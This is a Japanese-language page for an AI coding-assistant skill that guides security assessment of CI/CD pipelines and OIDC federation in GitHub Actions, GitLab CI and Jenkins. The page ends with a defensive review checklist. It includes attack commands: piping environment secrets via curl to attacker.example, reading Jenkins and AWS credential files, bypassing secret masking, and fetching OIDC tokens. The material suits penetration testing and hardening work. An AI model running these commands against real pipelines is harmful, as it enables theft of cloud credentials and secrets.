abusing-ci-cd-oidc について
GitHub Actions、GitLab CI、Jenkins を対象とする CI/CD と OIDC フェデレーションのセキュリティ評価ガイドです。認証情報の露出、信頼ポリシー、ランナー分離、ビルド成果物のリスクを扱い、防御レビューのチェックリストも備えています。
主な機能
- 01GitHub Actions、GitLab CI、Jenkins の調査
- 02OIDC 信頼ポリシーの評価
- 03シークレットとトークン露出の確認
- 04セルフホストランナーの分離確認
- 05成果物やキャッシュ汚染の分析
- 06防御レビュー用チェックリスト
活用シーン
- 01CI/CD ワークフローの設定リスク評価
- 02クラウドロールの OIDC 条件確認
- 03ランナーとパイプラインの認証情報保護のレビュー
- 04キャッシュやビルド成果物の汚染リスク調査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill abusing-ci-cd-oidcインストール後、Claude Code で/abusing-ci-cd-oidcを入力して読み込まれたか確認します。
詳細
CI/CD パイプラインと OIDC フェデレーションの悪用
CI/CD パイプラインは高い権限を持つ実行環境であり、多くの場合、クラウド IAM への直接アクセス、デプロイ用認証情報、署名鍵が設定されています。信頼ポリシーの範囲が広すぎると、OIDC フェデレーションによって、リポジトリへの書き込み権限がクラウド認証情報の発行につながります。ワークフローの設定ミスやワイルドカードを含む subject クレームがひとつあるだけで、「プルリクエストを作成できる」状態から「本番環境のクラウドにアクセスできる」状態へとつながる可能性があります。
使用する場面
- GitHub Actions、GitLab CI、Jenkins に悪用可能な設定ミスがないか評価する場合
- CI プロバイダーとクラウドプラットフォーム間の OIDC フェデレーション信頼ポリシーをテストする場合
- パイプラインの実行環境からシークレット、トークン、認証情報を取得する場合
- セルフホストランナーの分離と共有ランナーのリスクを評価する場合
- OIDC を介した CI/CD からクラウドアカウントへのラテラルムーブメントを試みる場合
- ビルド成果物の完全性とキャッシュポイズニングの攻撃対象領域を確認する場合
使用しない場面
- 依存関係やパッケージのサプライチェーン攻撃 --
auditing-supply-chainを使用してください - CI/CD を起点としないクラウド IAM の悪用 --
exploiting-cloud-platformsを使用してください - パイプライン定義を純粋なソースコードとして静的にレビューする場合 --
auditing-code-for-vulnerabilitiesを使用してください
GitHub Actions
汚染されたワークフロー
pull_request_target はベースリポジトリのコンテキストで、シークレットと書き込みスコープの GITHUB_TOKEN を使って実行されますが、フォークからの PR によってトリガーされる可能性があります。
# Find pull_request_target triggers that check out PR head code
rg -n 'pull_request_target' -A20 .github/workflows/ | rg 'checkout|ref.*head'
# Script injection: untrusted PR/issue data interpolated into run blocks
rg -n '\$\{\{\s*github\.event\.(issue|pull_request|comment|review)' .github/workflows/
攻撃パターン: リポジトリをフォークし、チェックアウトされたコードのパス(ビルドスクリプト、Makefile、テストハーネス)を変更して、PR を作成します。ワークフローはベースリポジトリのシークレットを使って、変更したコードを実行します。DNS、HTTP コールバック、または成果物を介して情報を外部へ送信します。
シークレットの外部送信とトークンのスコープ
# Secrets are in the environment -- exfiltrate out-of-band
env | base64 | curl -d @- https://attacker.example/exfil
# GITHUB_TOKEN scope check
curl -s -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/OWNER/REPO -I | grep 'x-oauth-scopes'
# Check if permissions are restricted in the workflow
rg -n 'permissions:' .github/workflows/
rg -n 'permissions:\s*write-all' .github/workflows/
制限のない GITHUB_TOKEN は、デフォルトでコンテンツ、パッケージなどに対する読み取りと書き込みの権限を持ちます。書き込みスコープのトークンがあれば、ブランチへのプッシュ、リリースの作成、パッケージの変更、デプロイの承認が可能です。
セルフホストランナーの侵害
公開リポジトリ上のセルフホストランナーは、重大な問題です。ジョブ間で状態が保持されるため、悪意のあるワークフローが後続のジョブに対するインプラントを残す可能性があります。
rg -n 'runs-on:.*self-hosted' .github/workflows/
# On a compromised runner: harvest credentials from prior jobs
find / -name '.credentials' -o -name '.env' -o -name '*.pem' 2>/dev/null
cat /home/runner/.aws/credentials
成果物のポイズニング
# If a PR workflow uploads build artifacts consumed by a deploy workflow,
# the PR author controls what gets deployed
rg -n 'upload-artifact|download-artifact' .github/workflows/
GitLab CI
ランナートークンと共有ランナー
# Exposed runner registration tokens allow registering rogue runners
rg -rn 'RUNNER_TOKEN\|REGISTRATION_TOKEN\|CI_JOB_TOKEN' .gitlab-ci.yml
# CI_JOB_TOKEN can access other projects if inter-project deps are configured
curl --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.example/api/v4/projects/OTHER_ID/repository/files/secret.txt/raw?ref=main"
# Shared runners: Docker socket mount leaks between jobs
rg -n 'docker:dind\|/var/run/docker.sock' .gitlab-ci.yml
CI 変数の抽出
# Masked variables are hidden from logs but present in env
printenv > /tmp/all_vars.txt && cat /tmp/all_vars.txt
# Protected variables: only on protected branches/tags
# Push a tag matching the protection pattern to access them
git tag release-exploit && git push origin release-exploit
OIDC フェデレーションの悪用
OIDC フェデレーションを使うと、CI ジョブは保存済みの認証情報を使わずにクラウドロールを引き受けられます。セキュリティ境界となるのは、信頼ポリシーの subject クレームフィルターです。
範囲が広すぎる subject クレーム
# AWS: inspect IAM role trust policy conditions
aws iam get-role --role-name ci-deploy-role \
--query 'Role.AssumeRolePolicyDocument' --output json
# Dangerous patterns in the Condition block:
# "sub": "repo:org/*" -- any repo in the org
# "sub": "repo:org/repo:*" -- any branch, any environment
# "sub": "repo:org/repo:ref:refs/heads/*" -- any branch
# No Condition at all -- any token from the IdP
脆弱な AWS 信頼ポリシー:
{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org-name/*"
}
}
}
組織内のどのリポジトリからも、このロールを引き受けられます。放置されたリポジトリ、ドキュメント用リポジトリ、コントリビューターのポリシーが緩いリポジトリが、本番環境のクラウドアクセスへの踏み台になります。
GCP と Azure
# GCP: check attribute conditions on workload identity provider
gcloud iam workload-identity-pools providers describe PROVIDER \
--location=global --workload-identity-pool=POOL
# Vulnerable: no attribute condition, or condition matching only the org
# Azure: list federated identity credentials
az ad app federated-credential list --id APP_OBJECT_ID
# Same wildcard risks: "repo:org/*" or "repo:org/repo:ref:refs/heads/*"
# Safe: "repo:org/repo:environment:production"
環境保護のバイパス
環境保護ルールが OIDC トークンの発行を制限するのは、信頼ポリシーの条件に :environment: が含まれている場合のみです。repo:org/repo:* に一致するポリシーは環境を無視するため、必須レビュー担当者を設定しても保護にはなりません。
rg -n 'environment:' .github/workflows/
# Compare to the trust policy Condition -- if it lacks :environment:, bypass
Jenkins
Groovy コンソールと認証情報
# Script console (/script) runs arbitrary Groovy as SYSTEM
# Check for unauthenticated access
curl -s -o /dev/null -w "%{http_code}" http://jenkins.target/script
# Credential files on disk
cat /var/lib/jenkins/credentials.xml
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret
パイプラインライブラリへのインジェクション
# Shared libraries via @Library execute in the pipeline sandbox
# If the library repo is writable, inject code into vars/ or src/
rg -n '@Library\|library\(' Jenkinsfile
# "Load implicitly" enabled = every pipeline runs the library's code
CI 内のシークレット
マスクされた変数の抽出
# Masking hides secrets from logs but not from the process environment
echo "$SECRET_VAR" | base64 # bypass log masking
echo "$SECRET_VAR" | sed 's/./&\n/g' # char-by-char bypass
echo "$SECRET_VAR" > secret_dump.txt # write to artifact
OIDC トークンの傍受
# GitHub Actions: request the OIDC token
curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com"
# JWT is reusable until expiry (typically 5-15 minutes)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
CI シークレットとしての長期有効トークン
# Credentials that should have been replaced by OIDC
env | grep -i 'AWS\|AKIA' # AWS access keys
env | grep -i 'AZURE\|ARM_CLIENT' # Azure SP credentials
find / -name '*service*account*.json' 2>/dev/null # GCP SA keys
ビルド成果物のポイズニング
キャッシュポイズニング
# CI caches shared across branches -- a PR can poison the main-branch cache
rg -n 'actions/cache' -A5 .github/workflows/
# Check whether cache keys include dependency lock file hashes
rg -n 'cache:' -A10 .gitlab-ci.yml
# key: $CI_COMMIT_REF_SLUG is branch-scoped but forks may share
内部レジストリを介した依存関係の混同
# If CI resolves from both internal and public registries,
# a higher-version public package wins resolution
rg -rn 'registry\|index-url\|repository' .npmrc .yarnrc pip.conf pyproject.toml
# Non-scoped internal packages (@org/pkg format) are vulnerable
防御レビューのチェックリスト
OIDC サブジェクトクレームの厳格さ:
- 信頼ポリシーは特定のリポジトリを指定している(組織全体を対象とするワイルドカードではない)
- 信頼ポリシーはサブジェクト内で特定のブランチまたは環境を必須としている
- 本番環境へのデプロイに環境保護ルールが設定されている
ワークフローの承認ゲート:
-
pull_request_targetワークフローは PR のヘッドコードをチェックアウトしない - フォークからの PR では、ワークフロー実行前に承認が必要である
- デプロイ環境に必須レビュアーが設定されている
- ブランチ保護により、リリースブランチへの直接プッシュが防止されている
ランナーの分離:
- パブリックリポジトリではセルフホストランナーを使用しない
- ランナーはエフェメラルである(各ジョブの後に破棄される)
- CI ジョブに Docker ソケットをマウントしない
シークレットの衛生管理:
- 長期間有効なクラウド認証情報を CI シークレットとして保存しない(OIDC を使用する)
-
GITHUB_TOKENの権限はジョブごとに明示的に制限されている - フォーク起点のワークフローではシークレットを利用できない
ビルドの完全性:
- サードパーティのアクション/イメージは変更可能なタグではなく SHA で固定されている
- キャッシュキーに依存関係ロックファイルのハッシュが含まれている
- ビルド成果物は署名され、デプロイ前に検証されている
- 内部パッケージは、パブリックレジストリへのフォールバックがないスコープ付きレジストリを使用している
退けるべき正当化
-
「OIDC 信頼ポリシーは組織スコープで、すべてのリポジトリを信頼しています。」 組織内のどのリポジトリも、クラウドアクセスへの足掛かりになります。放置されたリポジトリ、フォーク、コントリビューターのポリシーが緩いリポジトリも、すべて対象範囲に含まれます。
-
「シークレットはログでマスクされています。」 マスキングはログ表示の機能であり、セキュリティ境界ではありません。シークレットはプロセス環境内で平文です。
-
「ワークフローはメンテナーからの PR でしか実行されません。」 リポジトリまたは組織レベルでフォーク PR の承認を強制しない限り、外部コントリビューターが
pull_request_targetワークフローを起動できます。 -
「ランナーは社内にあるので安全です。」 ジョブ間で状態が維持される社内ランナーには、実行したすべてのジョブの認証情報が蓄積されます。対策となるのはエフェメラルランナーです。
-
「環境保護ルールを使用しています。」 保護ルールが OIDC トークンの発行を制御するのは、信頼ポリシーの条件に環境クレームが含まれている場合だけです。
repo:org/repo:*に一致するポリシーは環境を完全に無視します。 -
「CI トークンにすぎず、有効期限もすぐ切れます。」 15 分間有効な OIDC トークンがあれば、データの持ち出し、インフラストラクチャの変更、クラウドアカウント内での永続化の確立には十分です。短期間しか有効でないからといって無害ではありません。
-
「パイプラインコードはマージ前にレビューされています。」 パイプライン定義のレビューでは、マージ前に攻撃者のコードを実行する
pull_request_targetへの対策にはなりません。
ATT&CK のカバレッジ
secskills-core/ttp-index.json から生成されています。このファイルを編集し、python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、ID を現在の ATT&CK リリースと照合して再確認してください。
初期アクセス(TA0001)
- T1199 信頼関係 —
exploiting-cloud-platforms、attacking-entra-idも参照
認証情報へのアクセス(TA0006)
- T1552 安全でない認証情報 —
escalating-linux-privileges、exploiting-cloud-platforms、auditing-supply-chainも参照
これらに関する検知コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。
参考資料
auditing-supply-chain-- 依存関係およびパッケージレベルのサプライチェーン攻撃exploiting-cloud-platforms-- CI/CD 以外を起点とするクラウド IAM の悪用auditing-code-for-vulnerabilities-- パイプラインコードのソースレベルレビューengineering-detections-- CI/CD の不正利用パターンに対するアラートの構築